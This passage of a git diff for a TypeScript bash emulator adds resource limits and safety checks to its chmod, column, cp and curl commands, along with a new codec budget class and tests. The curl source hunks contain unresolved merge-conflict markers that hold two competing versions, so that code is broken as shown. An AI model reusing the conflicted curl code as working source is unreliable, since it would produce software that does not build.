+    signal: ctx.signal,
+    executionScope: ctx.executionScope,
+    site: "chmod",
+  });
+  await traverseFileTree(
+    {
+      fs: ctx.fs,
+      root: dir,
+      symlinks: "never",
+      budget,
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "chmod",
+    },
+    async (entry) => {
+      if (entry.depth === 0 || entry.phase !== "enter") return;
+      const modeValue =
+        numericMode !== undefined
+          ? numericMode
+          : symbolicMode !== undefined
+            ? parseMode(symbolicMode, entry.stat.mode)
+            : 0o644;
+      await ctx.fs.chmod(entry.path, modeValue);
+      if (verbose) {
+        output.append(
+          `mode of '${entry.path}' changed to ${modeValue.toString(8).padStart(4, "0")}\n`,
+        );
+      }
+    },
+  );
 }
 
 /**
@@ -235,6 +251,9 @@ function parseMode(modeStr: string, currentMode = 0o644): number {
       } else if (op === "=") {
         // Clear the bits for this who, then set
         mode &= ~(0o7 << shift);
+        if (w === "u") mode &= ~0o4000;
+        if (w === "g") mode &= ~0o2000;
+        if (w === "o") mode &= ~0o1000;
         mode |= bits;
       }
     }
@@ -245,19 +264,16 @@ function parseMode(modeStr: string, currentMode = 0o644): number {
     } else if (op === "-") {
       mode &= ~specialBits;
     } else if (op === "=") {
-      // For =, clear and set the special bits if specified
+      // Associated special bits were cleared with each selected class above.
       if (perms.includes("s")) {
         if (who.includes("u")) {
-          mode &= ~0o4000;
           mode |= specialBits & 0o4000;
         }
         if (who.includes("g")) {
-          mode &= ~0o2000;
           mode |= specialBits & 0o2000;
         }
       }
       if (perms.includes("t")) {
-        mode &= ~0o1000;
         mode |= specialBits & 0o1000;
       }
     }
diff --git a/packages/just-bash/src/commands/clear/clear.ts b/packages/just-bash/src/commands/clear/clear.ts
index 1dcca619..7633acf6 100644
--- a/packages/just-bash/src/commands/clear/clear.ts
+++ b/packages/just-bash/src/commands/clear/clear.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const clearHelp = {
@@ -8,10 +12,13 @@ const clearHelp = {
   options: ["    --help display this help and exit"],
 };
 
-export const clearCommand: Command = {
+export const clearCommand: RuntimeCommand = {
   name: "clear",
 
-  async execute(args: string[], _ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    _ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(clearHelp);
     }
diff --git a/packages/just-bash/src/commands/column/column.limits.test.ts b/packages/just-bash/src/commands/column/column.limits.test.ts
new file mode 100644
index 00000000..77aba4f5
--- /dev/null
+++ b/packages/just-bash/src/commands/column/column.limits.test.ts
@@ -0,0 +1,41 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
+describe("column allocation limits", () => {
+  it("rejects excess fields before collecting them", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 3 } });
+    const result = await bash.exec("column -t -s ,", { stdin: "a,b,c,d" });
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("bash: column: field limit exceeded (3)\n");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("checks padded table output prospectively", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 8 } });
+    const result = await bash.exec("column -t -s ,", {
+      stdin: "a,bbbb\ncc,d",
+    });
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "bash: column: output size limit exceeded (8 bytes)\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("rejects non-finite widths before fill calculations", async () => {
+    const bash = new Bash();
+    const result = await bash.exec("column -c Infinity", { stdin: "a" });
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("column: invalid width: NaN\n");
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("bounds command-local input before splitting", async () => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 16 } });
+    const result = await bash.exec("column", { stdin: "a".repeat(17) });
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("bash: stdin size limit exceeded (16 bytes)\n");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+});
diff --git a/packages/just-bash/src/commands/column/column.ts b/packages/just-bash/src/commands/column/column.ts
index 5da6cb61..039f3e78 100644
--- a/packages/just-bash/src/commands/column/column.ts
+++ b/packages/just-bash/src/commands/column/column.ts
@@ -6,8 +6,14 @@
  * Columnate input. Fill rows first by default, or create a table with -t.
  */
 
-import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { decodeBytesToUtf8, utf8ByteLength } from "../../encoding.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -48,22 +54,23 @@ function splitFields(
   line: string,
   separator: string | undefined,
   noMerge: boolean,
+  limit: number,
 ): string[] {
   if (separator) {
     if (noMerge) {
-      return line.split(separator);
+      return line.split(separator, limit);
     }
     // Split by separator, removing empty fields from consecutive separators
-    return line.split(separator).filter((f) => f.length > 0);
+    return line.split(separator, limit).filter((f) => f.length > 0);
   }
 
   // Default: split by whitespace
   if (noMerge) {
     // With -n, preserve empty fields between whitespace
-    return line.split(/[ \t]/);
+    return line.split(/[ \t]/, limit);
   }
   // Default: consecutive whitespace is one delimiter
-  return line.split(/[ \t]+/).filter((f) => f.length > 0);
+  return line.split(/[ \t]+/, limit).filter((f) => f.length > 0);
 }
 
 /**
@@ -87,36 +94,48 @@ function calculateColumnWidths(rows: string[][]): number[] {
 /**
  * Format rows as a table with aligned columns.
  */
-function formatTable(rows: string[][], outputSep: string): string {
+function formatTable(
+  rows: string[][],
+  outputSep: string,
+  maxOutputBytes: number,
+): string {
   if (rows.length === 0) return "";
 
   const widths = calculateColumnWidths(rows);
-  const lines: string[] = [];
-
-  for (const row of rows) {
-    const cells: string[] = [];
+  const output = new BoundedStringBuilder(
+    maxOutputBytes,
+    "column",
+    undefined,
+    1,
+  );
+
+  for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) {
+    const row = rows[rowIndex];
+    if (rowIndex > 0) output.append("\n");
     for (let i = 0; i < row.length; i++) {
-      // Last column doesn't need padding
-      if (i === row.length - 1) {
-        cells.push(row[i]);
-      } else {
-        cells.push(row[i].padEnd(widths[i]));
-      }
+      if (i > 0) output.append(outputSep);
+      output.append(row[i]);
+      if (i < row.length - 1) output.repeat(" ", widths[i] - row[i].length);
     }
-    lines.push(cells.join(outputSep));
   }
 
-  return lines.join("\n");
+  return output.build();
 }
 
 /**
  * Fill mode: arrange items into columns that fit within width.
  */
-function formatFill(items: string[], width: number, outputSep: string): string {
+function formatFill(
+  items: string[],
+  width: number,
+  outputSep: string,
+  maxOutputBytes: number,
+): string {
   if (items.length === 0) return "";
 
   // Find the maximum item width
-  const maxItemWidth = Math.max(...items.map((item) => item.length));
+  let maxItemWidth = 0;
+  for (const item of items) maxItemWidth = Math.max(maxItemWidth, item.length);
   const sepWidth = outputSep.length;
 
   // Calculate how many columns can fit
@@ -128,9 +147,15 @@ function formatFill(items: string[], width: number, outputSep: string): string {
   const numRows = Math.ceil(items.length / numColumns);
 
   // Build rows, filling column by column (down, then right)
-  const lines: string[] = [];
+  const output = new BoundedStringBuilder(
+    maxOutputBytes,
+    "column",
+    undefined,
+    1,
+  );
   for (let row = 0; row < numRows; row++) {
-    const cells: string[] = [];
+    if (row > 0) output.append("\n");
+    let emittedCell = false;
     for (let col = 0; col < numColumns; col++) {
       const index = col * numRows + row;
       if (index < items.length) {
@@ -138,21 +163,27 @@ function formatFill(items: string[], width: number, outputSep: string): string {
         const isLastInRow =
           col === numColumns - 1 || (col + 1) * numRows + row >= items.length;
         if (isLastInRow) {
-          cells.push(items[index]);
+          if (emittedCell) output.append(outputSep);
+          output.append(items[index]);
         } else {
-          cells.push(items[index].padEnd(maxItemWidth));
+          if (emittedCell) output.append(outputSep);
+          output.append(items[index]);
+          output.repeat(" ", maxItemWidth - items[index].length);
         }
+        emittedCell = true;
       }
     }
-    lines.push(cells.join(outputSep));
   }
 
-  return lines.join("\n");
+  return output.build();
 }
 
-export const column: Command = {
+export const column: RuntimeCommand = {
   name: "column",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(columnHelp);
     }
@@ -165,6 +196,27 @@ export const column: Command = {
 
     // Default output separator is two spaces
     const outSep = outputSep ?? "  ";
+    const maxInputBytes = Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    );
+    const maxArrayElements = ctx.limits.maxArrayElements;
+    const maxOutputBytes = Math.min(
+      ctx.limits.maxStringLength,
+      ctx.limits.maxOutputSize,
+    );
+    if (
+      !Number.isFinite(width) ||
+      !Number.isSafeInteger(width) ||
+      width <= 0 ||
+      width > 10 * 1024 * 1024
+    ) {
+      return {
+        exitCode: 1,
+        stdout: "",
+        stderr: `column: invalid width: ${width}\n`,
+      };
+    }
 
     // Read input. column uses .length / .padEnd for column widths, which
     // operate on codepoints — decode bytes to UTF-8 so accented / CJK chars
@@ -175,9 +227,18 @@ export const column: Command = {
       content = decodeBytesToUtf8(ctx.stdin) ?? "";
     } else {
       const parts: string[] = [];
+      let inputBytes = 0;
       for (const file of files) {
         if (file === "-") {
-          parts.push(decodeBytesToUtf8(ctx.stdin) ?? "");
+          const part = decodeBytesToUtf8(ctx.stdin) ?? "";
+          inputBytes += utf8ByteLength(part);
+          if (inputBytes > maxInputBytes) {
+            throw new ExecutionLimitError(
+              `column: input size limit exceeded (${maxInputBytes} bytes)`,
+              "string_length",
+            );
+          }
+          parts.push(part);
         } else {
           const filePath = ctx.fs.resolvePath(ctx.cwd, file);
           const fileContent = await ctx.fs.readFile(filePath);
@@ -188,11 +249,24 @@ export const column: Command = {
               stderr: `column: ${file}: No such file or directory\n`,
             };
           }
+          inputBytes += utf8ByteLength(fileContent);
+          if (inputBytes > maxInputBytes) {
+            throw new ExecutionLimitError(
+              `column: input size limit exceeded (${maxInputBytes} bytes)`,
+              "string_length",
+            );
+          }
           parts.push(fileContent);
         }
       }
       content = parts.join("");
     }
+    if (utf8ByteLength(content) > maxInputBytes) {
+      throw new ExecutionLimitError(
+        `column: input size limit exceeded (${maxInputBytes} bytes)`,
+        "string_length",
+      );
+    }
 
     // Handle empty input
     if (content === "" || content.trim() === "") {
@@ -204,7 +278,13 @@ export const column: Command = {
     }
 
     // Split into lines, handling trailing newline
-    const lines = content.split("\n");
+    const lines = content.split("\n", maxArrayElements + 1);
+    if (lines.length > maxArrayElements) {
+      throw new ExecutionLimitError(
+        `column: field limit exceeded (${maxArrayElements})`,
+        "array_elements",
+      );
+    }
     const hasTrailingNewline =
       content.endsWith("\n") && lines[lines.length - 1] === "";
     if (hasTrailingNewline) {
@@ -218,18 +298,36 @@ export const column: Command = {
 
     if (table) {
       // Table mode: split each line into fields and align
-      const rows = nonEmptyLines.map((line) =>
-        splitFields(line, separator, noMerge),
-      );
-      output = formatTable(rows, outSep);
+      const rows: string[][] = [];
+      let fieldCount = 0;
+      for (const line of nonEmptyLines) {
+        const remaining = maxArrayElements - fieldCount;
+        const fields = splitFields(line, separator, noMerge, remaining + 1);
+        fieldCount += fields.length;
+        if (fieldCount > maxArrayElements) {
+          throw new ExecutionLimitError(
+            `column: field limit exceeded (${maxArrayElements})`,
+            "array_elements",
+          );
+        }
+        rows.push(fields);
+      }
+      output = formatTable(rows, outSep, maxOutputBytes);
     } else {
       // Fill mode: collect all items and arrange into columns
       const items: string[] = [];
       for (const line of nonEmptyLines) {
-        const fields = splitFields(line, separator, noMerge);
-        items.push(...fields);
+        const remaining = maxArrayElements - items.length;
+        const fields = splitFields(line, separator, noMerge, remaining + 1);
+        if (fields.length > remaining) {
+          throw new ExecutionLimitError(
+            `column: field limit exceeded (${maxArrayElements})`,
+            "array_elements",
+          );
+        }
+        for (const field of fields) items.push(field);
       }
-      output = formatFill(items, width, outSep);
+      output = formatFill(items, width, outSep, maxOutputBytes);
     }
 
     // Add trailing newline if there was output
diff --git a/packages/just-bash/src/commands/comm/comm.ts b/packages/just-bash/src/commands/comm/comm.ts
index 6ea5777e..726a172f 100644
--- a/packages/just-bash/src/commands/comm/comm.ts
+++ b/packages/just-bash/src/commands/comm/comm.ts
@@ -8,7 +8,11 @@
  */
 
 import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const commHelp = {
@@ -23,10 +27,13 @@ const commHelp = {
   ],
 };
 
-export const commCommand: Command = {
+export const commCommand: RuntimeCommand = {
   name: "comm",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) return showHelp(commHelp);
 
     let suppress1 = false;
diff --git a/packages/just-bash/src/commands/compression/codec-budget.test.ts b/packages/just-bash/src/commands/compression/codec-budget.test.ts
new file mode 100644
index 00000000..ada6dc13
--- /dev/null
+++ b/packages/just-bash/src/commands/compression/codec-budget.test.ts
@@ -0,0 +1,40 @@
+import { describe, expect, it } from "vitest";
+import { CodecBudget } from "./codec-budget.js";
+
+describe("CodecBudget", () => {
+  it("rejects an output chunk prospectively", () => {
+    const budget = new CodecBudget({
+      maxInputBytes: 10,
+      maxOutputBytes: 4,
+      label: "test codec",
+    });
+    budget.acceptInput(2);
+    budget.acceptOutput(4);
+    expect(() => budget.acceptOutput(1)).toThrow(
+      "test codec: output exceeds limit (4 bytes)",
+    );
+    expect(budget.outputLength).toBe(4);
+  });
+
+  it("checks cancellation at codec boundaries", () => {
+    const controller = new AbortController();
+    const budget = new CodecBudget({
+      maxInputBytes: 10,
+      maxOutputBytes: 10,
+      signal: controller.signal,
+    });
+    controller.abort();
+    expect(() => budget.acceptInput(1)).toThrow("codec: operation aborted");
+  });
+
+  it("guards expansion ratio after a grace allowance", () => {
+    const budget = new CodecBudget({
+      maxInputBytes: 100,
+      maxOutputBytes: 100,
+      maxExpansionRatio: 2,
+      ratioGraceBytes: 0,
+    });
+    budget.acceptInput(2);
+    expect(() => budget.acceptOutput(5)).toThrow("expansion ratio");
+  });
+});
diff --git a/packages/just-bash/src/commands/compression/codec-budget.ts b/packages/just-bash/src/commands/compression/codec-budget.ts
new file mode 100644
index 00000000..fa74e20b
--- /dev/null
+++ b/packages/just-bash/src/commands/compression/codec-budget.ts
@@ -0,0 +1,120 @@
+/** Shared prospective accounting for compression and archive codecs. */
+export interface CodecBudgetOptions {
+  /** Maximum bytes accepted from the compressed/input side of the codec. */
+  maxInputBytes: number;
+  /** Maximum bytes a codec may produce. Must be enforced while producing. */
+  maxOutputBytes: number;
+  /** Optional expansion-ratio guard, applied after `ratioGraceBytes`. */
+  maxExpansionRatio?: number;
+  /** Avoid ratio false positives for tiny, intentionally repetitive inputs. */
+  ratioGraceBytes?: number;
+  /** Maximum bytes of codec work charged across input and output. */
+  maxWorkBytes?: number;
+  signal?: AbortSignal;
+  label?: string;
+}
+
+/**
+ * A codec must call `acceptInput` before decoding and `acceptOutput` before
+ * retaining every output chunk. This makes the safety check prospective: the
+ * allocation/side effect does not happen when the reservation fails.
+ */
+export class CodecBudget {
+  private inputBytes = 0;
+  private outputBytes = 0;
+  private workBytes = 0;
+  private readonly label: string;
+
+  constructor(private readonly options: CodecBudgetOptions) {
+    this.label = options.label ?? "codec";
+    for (const [name, value] of [
+      ["maxInputBytes", options.maxInputBytes],
+      ["maxOutputBytes", options.maxOutputBytes],
+      ["maxExpansionRatio", options.maxExpansionRatio],
+      ["ratioGraceBytes", options.ratioGraceBytes],
+      ["maxWorkBytes", options.maxWorkBytes],
+    ] as const) {
+      if (value !== undefined && (!Number.isSafeInteger(value) || value < 0)) {
+        throw new Error(`${this.label}: invalid ${name}`);
+      }
+    }
+  }
+
+  checkpoint(): void {
+    if (this.options.signal?.aborted) {
+      throw new Error(`${this.label}: operation aborted`);
+    }
+  }
+
+  acceptInput(bytes: number): void {
+    this.checkpoint();
+    this.inputBytes = this.addWithinLimit(
+      this.inputBytes,
+      bytes,
+      this.options.maxInputBytes,
+      "input",
+    );
+    this.chargeWork(bytes);
+  }
+
+  acceptOutput(bytes: number): void {
+    this.checkpoint();
+    const nextOutput = this.addWithinLimit(
+      this.outputBytes,
+      bytes,
+      this.options.maxOutputBytes,
+      "output",
+    );
+    const grace = this.options.ratioGraceBytes ?? 1024 * 1024;
+    const ratio = this.options.maxExpansionRatio;
+    if (
+      ratio !== undefined &&
+      nextOutput > grace &&
+      (this.inputBytes === 0 || nextOutput > this.inputBytes * ratio)
+    ) {
+      throw new Error(
+        `${this.label}: expansion ratio exceeds limit (${ratio}:1)`,
+      );
+    }
+    this.outputBytes = nextOutput;
+    this.chargeWork(bytes);
+  }
+
+  get inputLength(): number {
+    return this.inputBytes;
+  }
+
+  get outputLength(): number {
+    return this.outputBytes;
+  }
+
+  private chargeWork(bytes: number): void {
+    const maximum =
+      this.options.maxWorkBytes ??
+      this.options.maxInputBytes + this.options.maxOutputBytes;
+    this.workBytes = this.addWithinLimit(
+      this.workBytes,
+      bytes,
+      maximum,
+      "work",
+    );
+  }
+
+  private addWithinLimit(
+    current: number,
+    bytes: number,
+    maximum: number,
+    resource: string,
+  ): number {
+    if (
+      !Number.isSafeInteger(bytes) ||
+      bytes < 0 ||
+      bytes > maximum - current
+    ) {
+      throw new Error(
+        `${this.label}: ${resource} exceeds limit (${maximum} bytes)`,
+      );
+    }
+    return current + bytes;
+  }
+}
diff --git a/packages/just-bash/src/commands/cp/cp.ts b/packages/just-bash/src/commands/cp/cp.ts
index b9e502d0..06c9872e 100644
--- a/packages/just-bash/src/commands/cp/cp.ts
+++ b/packages/just-bash/src/commands/cp/cp.ts
@@ -1,5 +1,20 @@
+import { isSameOrDescendantPath } from "../../fs/path-utils.js";
+import {
+  compareCanonicalContainment,
+  compareFileIdentity,
+  FileTraversalBudget,
+  traverseFileTree,
+} from "../../fs/traversal.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -24,10 +39,13 @@ const argDefs = {
   verbose: { short: "v", long: "verbose", type: "boolean" as const },
 };
 
-export const cpCommand: Command = {
+export const cpCommand: RuntimeCommand = {
   name: "cp",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(cpHelp);
     }
@@ -57,6 +75,12 @@ export const cpCommand: Command = {
     let stdout = "";
     let stderr = "";
     let exitCode = 0;
+    const traversalBudget = new FileTraversalBudget({
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "cp",
+    });
 
     // Check if dest is a directory
     let destIsDir = false;
@@ -93,18 +117,67 @@ export const cpCommand: Command = {
           exitCode = 1;
           continue;
         }
+        if (srcStat.isDirectory) {
+          const containment = await compareCanonicalContainment(
+            ctx.fs,
+            srcPath,
+            targetPath,
+            traversalBudget,
+          );
+          if (
+            isSameOrDescendantPath(srcPath, targetPath) ||
+            containment === "inside"
+          ) {
+            stderr += `cp: cannot copy '${src}' into itself, '${targetPath}'\n`;
+            exitCode = 1;
+            continue;
+          }
+          if (containment === "unknown") {
+            stderr += `cp: cannot safely determine whether '${targetPath}' is inside '${src}'\n`;
+            exitCode = 1;
+            continue;
+          }
+        }
 
-        // Check for no-clobber: skip if target exists
+        // A no-clobber skip performs no destructive operation and therefore
+        // does not require proving the identity of the existing target.
         if (noClobber) {
           try {
             await ctx.fs.stat(targetPath);
-            // Target exists, skip silently
             continue;
           } catch {
-            // Target doesn't exist, proceed with copy
+            // Target doesn't exist, proceed with copy.
           }
         }
 
+        const identity = await compareFileIdentity(ctx.fs, srcPath, targetPath);
+        if (identity === "same") {
+          stderr += `cp: '${src}' and '${targetPath}' are the same file\n`;
+          exitCode = 1;
+          continue;
+        }
+        if (identity === "unknown") {
+          stderr += `cp: cannot safely determine whether '${src}' and '${targetPath}' are the same file\n`;
+          exitCode = 1;
+          continue;
+        }
+
+        if (srcStat.isDirectory) {
+          await traverseFileTree(
+            {
+              fs: ctx.fs,
+              root: srcPath,
+              limits: ctx.limits,
+              signal: ctx.signal,
+              executionScope: ctx.executionScope,
+              site: "cp",
+              symlinks: "never",
+              budget: traversalBudget,
+            },
+            () => undefined,
+          );
+        }
+
         await ctx.fs.cp(srcPath, targetPath, { recursive });
 
         // Note: preserve flag is accepted but timestamps are not actually preserved
@@ -117,6 +190,12 @@ export const cpCommand: Command = {
           stdout += `'${src}' -> '${targetPath}'\n`;
         }
       } catch (error) {
+        if (
+          error instanceof ExecutionLimitError ||
+          error instanceof ExecutionAbortedError
+        ) {
+          throw error;
+        }
         const message = getErrorMessage(error);
         if (message.includes("ENOENT") || message.includes("no such file")) {
           stderr += `cp: cannot stat '${src}': No such file or directory\n`;
diff --git a/packages/just-bash/src/commands/curl/curl.ts b/packages/just-bash/src/commands/curl/curl.ts
index 849dc19b..d51b7c59 100644
--- a/packages/just-bash/src/commands/curl/curl.ts
+++ b/packages/just-bash/src/commands/curl/curl.ts
@@ -8,9 +8,17 @@
 import { fromBuffer } from "../../fs/encoding.js";
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
 import { _Headers } from "../../security/trusted-globals.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
+<<<<<<< HEAD
 import { encodeRfc3986, generateMultipartBody } from "./form.js";
+=======
+import { encodeCurlData, generateMultipartBody } from "./form.js";
+>>>>>>> @just-bash/executor@3.0.0
 import { curlHelp } from "./help.js";
 import { parseOptions } from "./parse.js";
 import {
@@ -36,7 +44,11 @@ import type { CurlOptions } from "./types.js";
  */
 async function resolveData(
   options: CurlOptions,
+<<<<<<< HEAD
   ctx: CommandContext,
+=======
+  ctx: RuntimeCommandContext,
+>>>>>>> @just-bash/executor@3.0.0
 ): Promise<string | undefined> {
   if (options.dataParts.length === 0) return undefined;
   const parts: string[] = [];
@@ -49,7 +61,11 @@ async function resolveData(
       } else if (part.file.mode === "binary") {
         parts.push(content);
       } else {
+<<<<<<< HEAD
         const encoded = encodeRfc3986(content);
+=======
+        const encoded = encodeCurlData(content);
+>>>>>>> @just-bash/executor@3.0.0
         parts.push(part.file.name ? `${part.file.name}=${encoded}` : encoded);
       }
     } else {
@@ -65,7 +81,11 @@ async function resolveData(
  */
 async function prepareRequestBody(
   options: CurlOptions,
+<<<<<<< HEAD
   ctx: CommandContext,
+=======
+  ctx: RuntimeCommandContext,
+>>>>>>> @just-bash/executor@3.0.0
   resolvedData: string | undefined,
 ): Promise<{ body?: string; contentType?: string }> {
   // Handle -T/--upload-file
@@ -119,8 +139,21 @@ async function prepareRequestBody(
 
 function appendDataToUrl(url: string, data: string | undefined): string {
   if (!data) return url;
+<<<<<<< HEAD
   const separator = url.includes("?") ? "&" : "?";
   return `${url}${separator}${data}`;
+=======
+  const hashIndex = url.indexOf("#");
+  const base = hashIndex === -1 ? url : url.slice(0, hashIndex);
+  const fragment = hashIndex === -1 ? "" : url.slice(hashIndex);
+  const separator =
+    base.endsWith("?") || base.endsWith("&")
+      ? ""
+      : base.includes("?")
+        ? "&"
+        : "?";
+  return `${base}${separator}${data}${fragment}`;
+>>>>>>> @just-bash/executor@3.0.0
 }
 
 /**
@@ -150,7 +183,7 @@ function prepareHeaders(options: CurlOptions, contentType?: string): Headers {
 async function saveCookies(
   options: CurlOptions,
   headers: Record<string, string>,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<void> {
   if (!options.cookieJar) return;
 
@@ -226,10 +259,13 @@ function buildOutput(
   return output;
 }
 
-export const curlCommand: Command = {
+export const curlCommand: RuntimeCommand = {
   name: "curl",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(curlHelp);
     }
@@ -289,6 +325,8 @@ export const curlCommand: Command = {
         body,
         followRedirects: options.followRedirects,
         timeoutMs: options.timeoutMs,
+        maxRedirects: options.maxRedirects,
+        signal: ctx.signal,
       });
 
       // Save cookies if requested
diff --git a/packages/just-bash/src/commands/curl/form.ts b/packages/just-bash/src/commands/curl/form.ts
index d638690c..baf696c7 100644
--- a/packages/just-bash/src/commands/curl/form.ts
+++ b/packages/just-bash/src/commands/curl/form.ts
@@ -4,11 +4,19 @@
 
 import type { FormField } from "./types.js";
 
+<<<<<<< HEAD
 export function encodeRfc3986(value: string): string {
   return encodeURIComponent(value).replace(
     /[!'()*]/g,
     (char) => `%${char.charCodeAt(0).toString(16).toUpperCase()}`,
   );
+=======
+export function encodeCurlData(value: string): string {
+  return encodeURIComponent(value)
+    .replace(/[!'()*]/g, (char) => `%${char.charCodeAt(0).toString(16)}`)
+    .replace(/%20/g, "+")
+    .replace(/%[0-9A-F]{2}/g, (percentEscape) => percentEscape.toLowerCase());
+>>>>>>> @just-bash/executor@3.0.0
 }
 
 /**
@@ -22,10 +30,18 @@ export function encodeFormData(input: string): string {
   if (eqIndex >= 0) {
     const name = input.slice(0, eqIndex);
     const value = input.slice(eqIndex + 1);
+<<<<<<< HEAD
     return `${name}=${encodeRfc3986(value)}`;
   }
   // Plain value
   return encodeRfc3986(input);
+=======
+    const encoded = encodeCurlData(value);
+    return name ? `${name}=${encoded}` : encoded;
+  }
+  // Plain value
+  return encodeCurlData(input);
+>>>>>>> @just-bash/executor@3.0.0
 }
 
 /**
diff --git a/packages/just-bash/src/commands/curl/parse.security.test.ts b/packages/just-bash/src/commands/curl/parse.security.test.ts
new file mode 100644
index 00000000..92792a86
--- /dev/null
+++ b/packages/just-bash/src/commands/curl/parse.security.test.ts
@@ -0,0 +1,28 @@
+import { describe, expect, it } from "vitest";
+import { parseOptions } from "./parse.js";
+
+describe("curl redirect limit parsing", () => {
+  it("retains zero as a real per-request redirect limit", () => {
+    const result = parseOptions(["--max-redirs", "0", "https://example.com"]);
+    expect("maxRedirects" in result && result.maxRedirects).toBe(0);
+  });
+
+  it.each([
+    "-1",
+    "1x",
+    "Infinity",
+    "9007199254740992",
+    "",
+  ])("rejects invalid --max-redirs value %j", (value) => {
+    const result = parseOptions([
+      `--max-redirs=${value}`,
+      "https://example.com",
+    ]);
+    expect("exitCode" in result && result.exitCode).toBe(2);
+  });
+
+  it("rejects a missing separate value", () => {
+    const result = parseOptions(["--max-redirs"]);
+    expect("exitCode" in result && result.exitCode).toBe(2);
+  });
+});
diff --git a/packages/just-bash/src/commands/curl/parse.ts b/packages/just-bash/src/commands/curl/parse.ts
index 8028acb5..42ef7061 100644
--- a/packages/just-bash/src/commands/curl/parse.ts
+++ b/packages/just-bash/src/commands/curl/parse.ts
@@ -92,16 +92,20 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult {
   };
 
   let impliesPost = false;
+  let explicitMethod = false;
 
   for (let i = 0; i < args.length; i++) {
     const arg = args[i];
 
     if (arg === "-X" || arg === "--request") {
       options.method = args[++i] ?? "GET";
+      explicitMethod = true;
     } else if (arg.startsWith("-X")) {
       options.method = arg.slice(2);
+      explicitMethod = true;
     } else if (arg.startsWith("--request=")) {
       options.method = arg.slice(10);
+      explicitMethod = true;
     } else if (arg === "-H" || arg === "--header") {
       const header = args[++i];
       if (header) {
@@ -122,7 +126,11 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult {
       }
     } else if (arg === "-G" || arg === "--get") {
       options.getMode = true;
+<<<<<<< HEAD
       options.method = "GET";
+=======
+      if (!explicitMethod) options.method = "GET";
+>>>>>>> @just-bash/executor@3.0.0
     } else if (arg === "-d" || arg === "--data") {
       pushDataPart(options, args[++i] ?? "", {
         binary: false,
@@ -245,6 +253,7 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult {
     } else if (arg === "-I" || arg === "--head") {
       options.headOnly = true;
       options.method = "HEAD";
+      explicitMethod = true;
     } else if (arg === "-i" || arg === "--include") {
       options.includeHeaders = true;
     } else if (arg === "-s" || arg === "--silent") {
@@ -256,10 +265,33 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult {
     } else if (arg === "-L" || arg === "--location") {
       options.followRedirects = true;
     } else if (arg === "--max-redirs") {
-      // Handled by the network config, skip the value
-      i++;
+      const value = args[++i];
+      if (value === undefined || !/^\d+$/.test(value)) {
+        return {
+          stdout: "",
+          stderr: `curl: option --max-redirs: expected a non-negative integer\n`,
